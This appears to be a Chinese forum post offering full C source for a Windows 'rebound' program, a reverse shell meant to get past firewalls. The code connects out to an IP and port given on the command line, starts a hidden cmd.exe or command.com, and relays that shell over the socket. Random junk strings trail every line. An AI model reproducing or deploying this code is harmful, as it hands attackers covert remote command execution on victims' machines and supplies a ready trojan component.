这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zG"*B_l}+
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/* ============================== reO^_q'
Rebound port in Windows NT `X mT)C
By wind,2006/7 PPj_NV
===============================*/ 295U<
#include u)NmjW
#include :h(r2?=7
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#pragma comment(lib,"wsock32.lib") 0vi)my;!
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void OutputShell(); 0P?\eoB@8
SOCKET sClient; ggP#2I\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xoT|fgb
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void main(int argc,char **argv) [H-r0Ah
{ G/y@`A)
WSADATA stWsaData; Y\Grf$e
int nRet; -n>JlfCd2
SOCKADDR_IN stSaiClient,stSaiServer; B '@a36
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if(argc != 3) iUH{rh!
{ &I= 27!S
printf("Useage:\n\rRebound DestIP DestPort\n"); j1Ng[
return; xllk hD4F
} <aScA`\B#
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WSAStartup(MAKEWORD(2,2),&stWsaData); et-<ib<lY
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _--kK+rU
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stSaiClient.sin_family = AF_INET; $t1XoL
stSaiClient.sin_port = htons(0); +DpiX&^h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7K.in3M(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ea\b7a*
{ )|Il@unp/
printf("Bind Socket Failed!\n"); 3lW7auH4Y{
return; O]/BNacS
} jf|5}5kSlf
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stSaiServer.sin_family = AF_INET; GELxS!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l&2 }/A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l7p*::(9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kr=&x)Wy!
{ DXH"`1[-
printf("Connect Error!"); l+V#`S*q
return; pT=YV
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} doj$chy
OutputShell(); 5PCMxjon
} X-mhz3Q&a
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void OutputShell() +OTNn@!9
{ j,%<16f^A
char szBuff[1024]; xGU~FU
SECURITY_ATTRIBUTES stSecurityAttributes; -$Ad#Eu]M
OSVERSIONINFO stOsversionInfo; 9pPohR*#V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i_KAD U&mP
STARTUPINFO stStartupInfo; 'T_Vm%\)
char *szShell; 3u tJlD
PROCESS_INFORMATION stProcessInformation; BB)(#yoi
unsigned long lBytesRead; |Qa [N(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {dk%j~w8
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bt2`elH|
stSecurityAttributes.lpSecurityDescriptor = 0; L)!9+!PKD
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \A ?B{*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `1Cg)\&[e0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u6pfc'GG g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U,_jb}$Sq7
stStartupInfo.wShowWindow = SW_HIDE; .0gF&>I}
stStartupInfo.hStdInput = hReadPipe; 555*IT3b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F79!B
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GetVersionEx(&stOsversionInfo); E/Ng
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switch(stOsversionInfo.dwPlatformId) G[[hC[}I
{ ;hcOD4or
case 1: uv}?8$<\
szShell = "command.com"; 10C,\
break; vp#A D9h1
default:
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szShell = "cmd.exe"; G5R"5d'
break; :hA=(iz
} |hlc#t?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7[)IP:I>
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send(sClient,szMsg,77,0); T/b%,!N)
while(1) Z%t"~r0PS
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {okx*]PIc
if(lBytesRead) qVpV ZH!
{ F"?OLV1B&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @S%ogZz*m
send(sClient,szBuff,lBytesRead,0); ZjEc\{ s
} nB#m?hK
else :|P[u+v
{ Tw{}Ht_Qq
lBytesRead=recv(sClient,szBuff,1024,0); :zWI"
if(lBytesRead<=0) break; O8 \dMb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &YU;
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} u3Qm"? $`
} 5,;>b^gXY`
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return; !T<4em8
}